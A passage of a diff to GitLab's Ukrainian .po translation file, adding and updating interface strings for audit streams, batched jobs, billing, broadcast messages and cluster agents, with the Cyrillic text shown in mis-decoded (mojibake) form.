msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr "КориÑтувацькі HTTP-заголовки (опціонально)"
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr "Видалити %{link}"
@@ -5938,12 +5983,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr "Редагувати %{link}"
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr "Заголовок"
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr "Видалити Ñпеціальний заголовок"
@@ -5954,16 +6005,16 @@ msgid "AuditStreams|Setup streaming for audit events"
msgstr ""
msgid "AuditStreams|Stream added successfully"
-msgstr ""
+msgstr "Потік уÑпішно додано"
msgid "AuditStreams|Stream deleted successfully"
-msgstr ""
+msgstr "Потік уÑпішно видалено"
msgid "AuditStreams|Stream updated successfully"
-msgstr ""
+msgstr "Потік уÑпішно оновлено"
msgid "AuditStreams|Streams"
-msgstr ""
+msgstr "Потоки"
msgid "AuditStreams|This could include sensitive information. Make sure you trust the destination endpoint."
msgstr "Це може включати конфіденційну інформацію. ПереконайтеÑÑ, що ви довірÑєте кінцевій точці призначеннÑ."
@@ -6260,7 +6311,7 @@ msgid "BackgroundMigrations|Background migrations are used to perform data migra
msgstr ""
msgid "BackgroundMigrations|Batch size"
-msgstr ""
+msgstr "Розмір пакету"
msgid "BackgroundMigrations|Database"
msgstr "База даних"
@@ -6401,13 +6452,13 @@ msgid "BatchedJob|Attempts"
msgstr "Спроби"
msgid "BatchedJob|Batch size"
-msgstr ""
+msgstr "Розмір пакету"
msgid "BatchedJob|Batched Jobs"
msgstr ""
msgid "BatchedJob|Created At"
-msgstr ""
+msgstr "Створено о"
msgid "BatchedJob|Created at"
msgstr "Створено о"
@@ -6440,13 +6491,13 @@ msgid "BatchedJob|Min value"
msgstr "Мінімальне значеннÑ"
msgid "BatchedJob|Next Status"
-msgstr ""
+msgstr "ÐаÑтупний ÑтатуÑ"
msgid "BatchedJob|Next status"
-msgstr ""
+msgstr "ÐаÑтупний ÑтатуÑ"
msgid "BatchedJob|Pause ms"
-msgstr ""
+msgstr "Пауза мÑ"
msgid "BatchedJob|Pause time (ms)"
msgstr ""
@@ -6458,7 +6509,7 @@ msgid "BatchedJob|Previous status"
msgstr ""
msgid "BatchedJob|Started at"
-msgstr ""
+msgstr "Почато о"
msgid "BatchedJob|Transition logs:"
msgstr ""
@@ -6614,7 +6665,7 @@ msgid "BillingPlans|Portfolio management"
msgstr ""
msgid "BillingPlans|Premium"
-msgstr ""
+msgstr "Преміум"
msgid "BillingPlans|Pricing page"
msgstr "Сторінка цін"
@@ -6689,7 +6740,7 @@ msgid "BillingPlans|Your GitLab.com trial expired on %{expiration_date}. You can
msgstr "Ваша пробна верÑÑ–Ñ GitLab.com закінчилаÑÑ %{expiration_date}. Ви можете відновити доÑтуп до функцій у будь-Ñкий момент виконавши Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð½Ð¸Ð¶Ñ‡Ðµ."
msgid "BillingPlans|Your current plan"
-msgstr ""
+msgstr "Ваш поточний план"
msgid "BillingPlans|billed annually at %{price_per_year}"
msgstr "рахунок виÑтавлÑєтьÑÑ Ñ‰Ð¾Ñ€Ñ–Ñ‡Ð½Ð¾ %{price_per_year}"
@@ -6785,7 +6836,7 @@ msgid "Billing|%{user} was successfully approved"
msgstr "%{user} було уÑпішно затверджено"
msgid "Billing|Add seats"
-msgstr ""
+msgstr "Додати міÑцÑ"
msgid "Billing|An email address is only visible for users with public emails."
msgstr "Електронна адреÑа відображаєтьÑÑ Ð»Ð¸ÑˆÐµ Ð´Ð»Ñ ÐºÐ¾Ñ€Ð¸Ñтувачів з публічними електронними адреÑами."
@@ -6831,10 +6882,10 @@ msgstr "Ð—Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð² групу"
msgid "Billing|Groups in the Free tier are limited to %d seat"
msgid_plural "Billing|Groups in the Free tier are limited to %d seats"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Групи на рівні «Безкоштовні» обмежені до %d міÑцÑ"
+msgstr[1] "Групи на рівні «Безкоштовні» обмежені до %d міÑць"
+msgstr[2] "Групи на рівні «Безкоштовні» обмежені до %d міÑць"
+msgstr[3] "Групи на рівні «Безкоштовні» обмежені до %d міÑць"
msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
msgstr "УчаÑники, Ñкі були запрошені за допомогою Ð·Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð´Ð¾ групи, не можуть бути видалені. Ви можете або видалити вÑÑŽ групу, або попроÑити влаÑника групи видалити учаÑника."
@@ -7012,7 +7063,7 @@ msgid "BoardScope|No milestone"
msgstr "Етап відÑутній"
msgid "BoardScope|Search iterations"
-msgstr ""
+msgstr "Пошук ітерацій"
msgid "BoardScope|Search milestones"
msgstr "Пошук етапів"
@@ -7021,7 +7072,7 @@ msgid "BoardScope|Select assignee"
msgstr "Обрати виконавцÑ"
msgid "BoardScope|Select iteration"
-msgstr ""
+msgstr "Вибрати ітерацію"
msgid "BoardScope|Select labels"
msgstr "Вибрати мітку"
@@ -7230,7 +7281,7 @@ msgid "Branch not loaded - %{branchId}"
msgstr "Гілку не завантажено: %{branchId}"
msgid "Branch rules"
-msgstr ""
+msgstr "Правила гілки"
msgid "BranchRules|%{linkStart}Wildcards%{linkEnd} such as *-stable or production/ are supported"
msgstr ""
@@ -7314,10 +7365,10 @@ msgid "BranchRules|Manage in Merge Request Approvals"
msgstr ""
msgid "BranchRules|Manage in Protected Branches"
-msgstr ""
+msgstr "Ð£Ð¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ð² захищених гілках"
msgid "BranchRules|Manage in Status checks"
-msgstr ""
+msgstr "Ð£Ð¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ð² перевірках ÑтатуÑу"
msgid "BranchRules|No data to display"
msgstr "Ðемає даних Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ"
@@ -7338,7 +7389,7 @@ msgid "BranchRules|Require approval from code owners."
msgstr "Вимагати Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ñ–Ð´ влаÑників коду."
msgid "BranchRules|Required approvals (%{total})"
-msgstr ""
+msgstr "Ðеобхідні Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ (%{total})"
msgid "BranchRules|Requires CODEOWNERS approval"
msgstr ""
@@ -7398,7 +7449,7 @@ msgid "Branches|Delete all branches that are merged into '%{defaultBranch}'"
msgstr ""
msgid "Branches|Delete all merged branches?"
-msgstr ""
+msgstr "Видалити вÑÑ– злиті гілки?"
msgid "Branches|Delete branch"
msgstr "Видалити гілку"
@@ -7494,7 +7545,7 @@ msgid "Branches|Yes, delete protected branch"
msgstr "Так, видалити захищену гілку"
msgid "Branches|You are about to %{strongStart}delete all branches%{strongEnd} that were merged into %{codeStart}%{defaultBranch}%{codeEnd}."
-msgstr ""
+msgstr "Ви збираєтеÑÑ %{strongStart}видалити вÑÑ– гілки%{strongEnd} Ñкі були злиті в %{codeStart}%{defaultBranch}%{codeEnd}."
msgid "Branches|You're about to permanently delete the branch %{branchName}."
msgstr "Ви збираєтеÑÑŒ назавжди видалити гілку %{branchName}."
@@ -7523,9 +7574,93 @@ msgstr "ÐžÐ³Ð¾Ð»Ð¾ÑˆÐµÐ½Ð½Ñ ÑƒÑпішно оновлено."
msgid "Broadcast Messages"
msgstr "ПовідомленнÑ"
+msgid "BroadcastMessages|Add broadcast message"
+msgstr "Додати широкомовне повідомленнÑ"
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr "Дозволити кориÑтувачам відхилÑти широкомовне повідомленнÑ"
+
+msgid "BroadcastMessages|Banner"
+msgstr "Банер"
+
+msgid "BroadcastMessages|Blue"
+msgstr "Синій"
+
+msgid "BroadcastMessages|Dark"
+msgstr "Темний"
+
+msgid "BroadcastMessages|Dismissable"
+msgstr "Можна закрити"
+
+msgid "BroadcastMessages|Ends at"
+msgstr "ЗакінчуєтьÑÑ Ð²"
+
+msgid "BroadcastMessages|Green"
+msgstr "Зелений"
+
+msgid "BroadcastMessages|Indigo"
+msgstr "Індиго"
+
+msgid "BroadcastMessages|Light"
+msgstr "Світла"
+
+msgid "BroadcastMessages|Light Blue"
+msgstr "Світло-Ñиній"
+
+msgid "BroadcastMessages|Light Green"
+msgstr "Світло-зелений"
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr "Світлий індиго"
+
+msgid "BroadcastMessages|Light Red"
+msgstr "Світло-червоний"
+
+msgid "BroadcastMessages|Message"
+msgstr "ПовідомленнÑ"
+
+msgid "BroadcastMessages|Notification"
+msgstr "СповіщеннÑ"
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr "ШлÑхи можуть міÑтити шаблони, Ñк */welcome"
+
+msgid "BroadcastMessages|Red"
+msgstr "Червоний"
+
+msgid "BroadcastMessages|Starts at"
+msgstr "ПочинаєтьÑÑ Ð¾"
+
+msgid "BroadcastMessages|Target Path"
+msgstr "Цільовий шлÑÑ…"
+
+msgid "BroadcastMessages|Target roles"
+msgstr "Цільові ролі"
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶Ð°Ñ”Ñ‚ÑŒÑÑ Ð»Ð¸ÑˆÐµ Ð´Ð»Ñ ÐºÐ¾Ñ€Ð¸Ñтувачів у проєктах Ñ– групах, що мають ці ролі."
+
+msgid "BroadcastMessages|Theme"
+msgstr "Тема"
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr "Під Ñ‡Ð°Ñ Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ ÑˆÐ¸Ñ€Ð¾ÐºÐ¾Ð¼Ð¾Ð²Ð½Ð¾Ð³Ð¾ Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr "Помилка при оновленні широкомовного повідомленнÑ."
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr "Під Ñ‡Ð°Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð²Ð¸Ð½Ð¸ÐºÐ»Ð° проблема, Ñпробуйте пізніше."
+msgid "BroadcastMessages|Type"
+msgstr "Тип"
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr "Оновити широкомовне повідомленнÑ"
+
+msgid "BroadcastMessages|Your message here"
+msgstr "Ваше Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ñ‚ÑƒÑ‚"
+
msgid "Browse Directory"
msgstr "ПереглÑнути каталог"
@@ -8124,6 +8259,9 @@ msgstr "Ðеможливо переміÑтити задачу, тому що в
msgid "Cannot promote issue due to insufficient permissions."
msgstr "Ðе вдаєтьÑÑ Ð¿Ñ–Ð´Ð²Ð¸Ñ‰Ð¸Ñ‚Ð¸ задачу через недоÑтатній доÑтуп."
+msgid "Cannot push to source branch"
+msgstr "Ðе вдаєтьÑÑ Ð²Ð¸ÐºÐ¾Ð½Ð°Ñ‚Ð¸ push до гілки джерела"
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8235,14 +8373,11 @@ msgstr "Змінити пароль"
msgid "Change your password or recover your current one"
msgstr "Змініть пароль або відновіть поточний"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr "ОглÑдача змінено з %{old} на %{new}"
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr "ОглÑдача змінено на %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
+msgstr ""
-msgid "ChangeReviewer|Unassigned"
-msgstr "Ðепризначено"
+msgid "ChangeReviewer|All reviewers were removed."
+msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Вибрати (cherry-pick)"
@@ -8528,6 +8663,9 @@ msgstr "Продовжити платіж"
msgid "Checkout|Country"
msgstr "Країна"
+msgid "Checkout|Coupon code (optional)"
+msgstr "Код купона (необов'Ñзково)"
+
msgid "Checkout|Create a new group"
msgstr "Створити нову групу"
@@ -8580,7 +8718,7 @@ msgid "Checkout|Must be %{minimumNumberOfUsers} (your seats in use, plus all ove
msgstr ""
msgid "Checkout|Must be 1 or more. Cannot be a decimal."
-msgstr ""
+msgstr "Має бути 1 або більше. Ðе може бути деÑÑтковим знаком."
msgid "Checkout|Name of company or organization using GitLab"
msgstr "Ðазва компанії або організації, що викориÑтовує GitLab"
@@ -8687,12 +8825,6 @@ msgstr "Дочірний"
msgid "Child epic"
msgstr "Дочірній епік"
-msgid "Child epic does not exist."
-msgstr "Дочірній епік не Ñ–Ñнує."
-
-msgid "Child epic doesn't exist."
-msgstr "Дочірній епік не Ñ–Ñнує."
-
msgid "Child issues and epics"
msgstr ""
@@ -8826,13 +8958,13 @@ msgid "CiVariables|Cannot use Masked Variable with current value"
msgstr "Ðеможливо викориÑтовувати приховану змінну із поточним значеннÑм"
msgid "CiVariables|Clear inputs"
-msgstr ""
+msgstr "ОчиÑтити введені дані"
msgid "CiVariables|Environments"
msgstr "Середовища"
msgid "CiVariables|Expanded"
-msgstr ""
+msgstr "Розширені"
msgid "CiVariables|Input variable key"
msgstr "Ключ вхідної змінної"
@@ -8850,7 +8982,7 @@ msgid "CiVariables|Maximum number of variables reached."
msgstr ""
msgid "CiVariables|Options"
-msgstr ""
+msgstr "Параметри"
msgid "CiVariables|Protected"
msgstr "Захищений"
@@ -8862,7 +8994,7 @@ msgid "CiVariables|Remove variable row"
msgstr "Видалити Ñ€Ñдок змінних"
msgid "CiVariables|Run job again"
-msgstr ""
+msgstr "Знову запуÑтити завданнÑ"
msgid "CiVariables|Scope"
msgstr "ОблаÑÑ‚ÑŒ видимоÑÑ‚Ñ–"
@@ -8876,6 +9008,9 @@ msgstr "Стан"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "Тип"
@@ -8932,10 +9067,10 @@ msgstr "ОчиÑтити"
msgid "Clear %{count} image from cache?"
msgid_plural "Clear %{count} images from cache?"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "ОчиÑтити %{count} образ з кешу?"
+msgstr[1] "ОчиÑтити %{count} образи з кешу?"
+msgstr[2] "ОчиÑтити %{count} образів з кешу?"
+msgstr[3] "ОчиÑтити %{count} образів з кешу?"
msgid "Clear all repository checks"
msgstr "ОчиÑтити вÑÑ– перевірки репозиторію"
@@ -9003,6 +9138,9 @@ msgstr "ÐатиÑніть на поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð¸Ð¶Ñ‡Ðµ, щоб підтв
msgid "Click the link below to confirm your email address."
msgstr "ÐатиÑніть поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð¸Ð¶Ñ‡Ðµ, щоб підтвердити Ñвою адреÑу електронної пошти."
+msgid "Click to expand"
+msgstr "ÐатиÑніть, щоб розгорнути"
+
msgid "Click to expand it."
msgstr "ÐатиÑніть, щоб розгорнути його."
@@ -9105,12 +9243,18 @@ msgstr "Закриті задачі"
msgid "Closed this %{quick_action_target}."
msgstr "Закрито %{quick_action_target}."
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr "Закрито: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Закриває %{quick_action_target}."
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr "Cloud Run"
@@ -9289,7 +9433,7 @@ msgid "Cluster type must be specified for Stages::ClusterEndpointInserter"
msgstr ""
msgid "ClusterAgents|%{linkStart}View the documentation%{linkEnd} for advanced installation. Ensure you have your access token available."
-msgstr ""
+msgstr "%{linkStart}ОзнайомтеÑÑ Ð· документацією%{linkEnd} Ð´Ð»Ñ Ñ€Ð¾Ð·ÑˆÐ¸Ñ€ÐµÐ½Ð¾Ð³Ð¾ вÑтановленнÑ. ПереконайтеÑÑ, що у Ð²Ð°Ñ Ñ” токен доÑтупу."
msgid "ClusterAgents|%{name} successfully deleted"
msgstr "%{name} уÑпішно видалено"
@@ -9319,7 +9463,7 @@ msgid "ClusterAgents|Access tokens"
msgstr "Токени доÑтупу"
msgid "ClusterAgents|Add an agent configuration file to %{linkStart}this repository%{linkEnd} and select it, or create a new one to register with GitLab:"
-msgstr ""
+msgstr "Додайте файл конфігурації агента до %{linkStart}цього репозиторію %{linkEnd} Ñ– виберіть його, або Ñтворіть новий Ð´Ð»Ñ Ñ€ÐµÑ”Ñтрації в GitLab:"
msgid "ClusterAgents|Advanced installation methods"
msgstr "Додаткові методи вÑтановленнÑ"
@@ -9334,7 +9478,7 @@ msgid "ClusterAgents|Agent %{strongStart}disconnected%{strongEnd}"
msgstr "Ðгент %{strongStart}відключений%{strongEnd}"
msgid "ClusterAgents|Agent access token:"
-msgstr ""
+msgstr "Токен доÑтупу агента:"
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr "Ðгент не може підключитиÑÑ Ð´Ð¾ Gitlab"
@@ -9349,7 +9493,7 @@ msgid "ClusterAgents|Agent version mismatch and update"
msgstr "ÐевідповідніÑÑ‚ÑŒ верÑÑ–Ñ— агента та оновленнÑ"
msgid "ClusterAgents|Agent version update required"
-msgstr ""
+msgstr "Потрібно оновити верÑÑ–ÑŽ агента"
msgid "ClusterAgents|All"
msgstr "Ð’ÑÑ–"
@@ -9382,7 +9526,7 @@ msgid "ClusterAgents|Configuration"
msgstr "КонфігураціÑ"
msgid "ClusterAgents|Connect a Kubernetes cluster"
-msgstr ""
+msgstr "Підключіть клаÑтер Kubernetes"
msgid "ClusterAgents|Connect a cluster"
msgstr "Підключити клаÑтер"
@@ -9391,10 +9535,10 @@ msgid "ClusterAgents|Connect a cluster (agent)"
msgstr "Підключити клаÑтер (агент)"
msgid "ClusterAgents|Connect a cluster (certificate - deprecated)"
-msgstr ""
+msgstr "ÐŸÑ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ ÐºÐ»Ð°Ñтера (Ñертифікат - заÑтарілий)"
msgid "ClusterAgents|Connect a cluster (deprecated)"
-msgstr ""
+msgstr "ÐŸÑ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ ÐºÐ»Ð°Ñтера (заÑтаріло)"
msgid "ClusterAgents|Connected"
msgstr "Підключено"
@@ -9415,7 +9559,7 @@ msgid "ClusterAgents|Create agent access token"
msgstr "Створити токен доÑтупу Ð´Ð»Ñ Ð°Ð³ÐµÐ½Ñ‚Ñ–Ð²"
msgid "ClusterAgents|Create agent: %{searchTerm}"
-msgstr ""
+msgstr "Створити агента: %{searchTerm}"
msgid "ClusterAgents|Create token"
msgstr "Створити токен"
@@ -9454,7 +9598,7 @@ msgid "ClusterAgents|Failed to register an agent"
msgstr "Помилка реєÑтрації агента"
msgid "ClusterAgents|From a terminal, connect to your cluster and run this command. The token is included in the command."
-msgstr ""
+msgstr "З терміналу підключітьÑÑ Ð´Ð¾ Ñвого клаÑтера Ñ– виконайте цю команду. Токен входить до Ñкладу команди."
msgid "ClusterAgents|GitLab agent"
msgstr "Ðгент GitLab"
@@ -9475,7 +9619,7 @@ msgid "ClusterAgents|Install using Helm (recommended)"
msgstr "Ð’Ñтановити за допомогою Helm (рекомендовано)"
msgid "ClusterAgents|Integration Status"
-msgstr ""
+msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ—"
msgid "ClusterAgents|Last connected %{timeAgo}."
msgstr "ОÑтаннє Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ %{timeAgo}."
@@ -9500,13 +9644,13 @@ msgstr "Ðіколи не підключавÑÑ"
msgid "ClusterAgents|No activity occurred in the past day"
msgid_plural "ClusterAgents|No activity occurred in the past %d days"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Жодної активноÑÑ‚Ñ– не було за оÑтанній день"
+msgstr[1] "Жодної активноÑÑ‚Ñ– не було за оÑтанні %d дні"
+msgstr[2] "Жодної активноÑÑ‚Ñ– не було за оÑтанні %d днів"
+msgstr[3] "Жодної активноÑÑ‚Ñ– не було за оÑтанні %d днів"
msgid "ClusterAgents|No agent access token"
-msgstr ""
+msgstr "Ðемає токена доÑтупу до агентів"
msgid "ClusterAgents|No agents"
msgstr "Ðемає агентів"
@@ -9518,7 +9662,7 @@ msgid "ClusterAgents|Not connected"
msgstr "Ðе підключений"
msgid "ClusterAgents|Premium"
-msgstr ""
+msgstr "Преміум"
msgid "ClusterAgents|Recommended"
msgstr "Рекомендовано"
@@ -9548,7 +9692,7 @@ msgid "ClusterAgents|Security"
msgstr "Безпека"
msgid "ClusterAgents|See agent activity updates, like tokens created or revoked and clusters connected or not connected."
-msgstr ""
+msgstr "ПереглÑдайте Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð°ÐºÑ‚Ð¸Ð²Ð½Ð¾ÑÑ‚Ñ– агента, наприклад, Ñтворені або відкликані токени та підключені або не підключені клаÑтери."
msgid "ClusterAgents|Select an agent or enter a name to create new"
msgstr "Виберіть агента або введіть ім'Ñ, щоб Ñтворити новий"
@@ -9563,10 +9707,10 @@ msgid "ClusterAgents|The agent has not been connected in a long time. There migh
msgstr "Ðгент не був підключений протÑгом тривалого чаÑу. Можливо, виникла проблема з підключеннÑм. ОÑтанній Ñ‡Ð°Ñ Ð·'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð±ÑƒÐ² %{timeAgo}."
msgid "ClusterAgents|The agent uses the token to connect with GitLab."
-msgstr ""
+msgstr "Ðгент викориÑтовує токен Ð´Ð»Ñ Ð·'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð· GitLab."
msgid "ClusterAgents|The agent version do not match each other across your cluster's pods. This can happen when a new agent version was just deployed and Kubernetes is shutting down the old pods."
-msgstr ""
+msgstr "ВерÑÑ–Ñ— агентів не збігаютьÑÑ Ð¾Ð´Ð½Ð° з одною у вÑÑ–Ñ… подах вашого клаÑтера. Це може ÑтатиÑÑ, коли нову верÑÑ–ÑŽ агента було щойно розгорнуто, а Kubernetes вимикає Ñтарі поди."
msgid "ClusterAgents|This agent has no tokens"
msgstr "Цей агент не має токенів"
@@ -9587,7 +9731,7 @@ msgid "ClusterAgents|Unknown user"
msgstr "Ðевідомий кориÑтувач"
msgid "ClusterAgents|Use a Helm version compatible with your Kubernetes version (see %{linkStart}Helm version support policy%{linkEnd})."
-msgstr ""
+msgstr "ВикориÑтовуйте Helm верÑÑ–ÑŽ, ÑуміÑну з вашою верÑією Kubernetes (див. %{linkStart}Helm верÑÑ–Ñ— підтримки політики%{linkEnd})."
msgid "ClusterAgents|Valid access token"
msgstr "Коректний токен доÑтупу"
@@ -9602,10 +9746,10 @@ msgid "ClusterAgents|We would love to learn more about your experience with the
msgstr "Ми хотіли б дізнатиÑÑŒ більше про ваш доÑвід з GitLab Agent."
msgid "ClusterAgents|What is agent activity?"
-msgstr ""
+msgstr "Що таке активніÑÑ‚ÑŒ агентна?"
msgid "ClusterAgents|What is default configuration?"
-msgstr ""
+msgstr "Що таке ÐºÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ Ð·Ð° замовчуваннÑм?"
msgid "ClusterAgents|You cannot see this token again after you close this window."
msgstr "Ви більше не зможете побачити цей токен піÑÐ»Ñ Ð·Ð°ÐºÑ€Ð¸Ñ‚Ñ‚Ñ Ñ†ÑŒÐ¾Ð³Ð¾ вікна."
@@ -9614,7 +9758,7 @@ msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr "Вам потрібно Ñтворити токен Ð´Ð»Ñ Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ð´Ð¾ вашого агента"
msgid "ClusterAgents|Your agent version is out of sync with your GitLab version (v%{version}), which might cause compatibility problems. Update the agent installed on your cluster to the most recent version."
-msgstr ""
+msgstr "ВерÑÑ–Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ агента не Ñинхронізована з верÑією GitLab (v%{version}), що може Ñпричинити проблеми ÑуміÑноÑÑ‚Ñ–. Оновіть агент, вÑтановлений на вашому клаÑтері, до оÑтанньої верÑÑ–Ñ—."
msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
msgstr "У вашому інÑтанÑÑ– не налаштовано %{linkStart}GitLab Agent Server (KAS)%{linkEnd} ПопроÑÑ–Ñ‚ÑŒ адмініÑтратора GitLab вÑтановити його."
@@ -9778,21 +9922,6 @@ msgstr "Потрібна облаÑÑ‚ÑŒ дії Ñередовища."
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "Кожен новий обліковий Ð·Ð°Ð¿Ð¸Ñ Ð² Google Cloud Platform (GCP) отримує $300 на Ñвій рахунок при %{sign_up_link}. GitLab (у партнерÑтві із Google) пропонує додаткові $200 Ð´Ð»Ñ Ð½Ð¾Ð²Ð¸Ñ… облікових запиÑів GCP, Ð´Ð»Ñ ÐºÐ¾Ñ€Ð¸ÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ”ÑŽ GitLab з Google Kubernetes Engine."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr "Ðе вдалоÑÑ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ñ‚Ð¸ EKS провайдера: %{message}"
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "Ðе вдалоÑÑ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ñ‚Ð¸ клаÑтер Google Kubernetes Engine: %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr "Ðе вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ Ñтек CloudFormation: %{message}"
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr "Ðе вдалоÑÑ Ð½Ð°Ð´Ñ–Ñлати запит до Google Cloud Platform: %{message}"
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "Ðе вдалоÑÑ Ð·Ð°Ð¿ÑƒÑтити Kubeclient: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Ð†Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ð· GitLab"
@@ -9938,7 +10067,7 @@ msgid "ClusterIntegration|The certificate-based method to connect clusters to Gi
msgstr "СпоÑіб Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ ÐºÐ»Ð°Ñтерів до GitLab через Ñертифікати %{linkStart}заÑтарілий%{linkEnd} у GitLab 14.5."
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, and Web terminals."
-msgstr ""
+msgstr "ПроÑÑ‚Ñ–Ñ€ імен, пов’Ñзаний із вашим проєктом. Він буде викориÑтовуватиÑÑ Ð´Ð»Ñ Ð´Ð¾ÑˆÐ¾Ðº Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ñ‚Ð° веб-терміналів."
msgid "ClusterIntegration|There was a problem authenticating with your cluster. Please ensure your CA Certificate and Token are valid."
msgstr "Проблема автентифікації у вашому клаÑтері. Будь лаÑка, переконайтеÑÑ, що Ñертифікат CA та токен Ñ” правильними."
@@ -10283,6 +10412,9 @@ msgstr "Ðе знайдено пов'Ñзаних запитів на злитт
msgid "Committed by"
msgstr "Коміт від"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "Форум Ñпільноти"
@@ -10641,7 +10773,7 @@ msgid "Configure the %{link} integration."
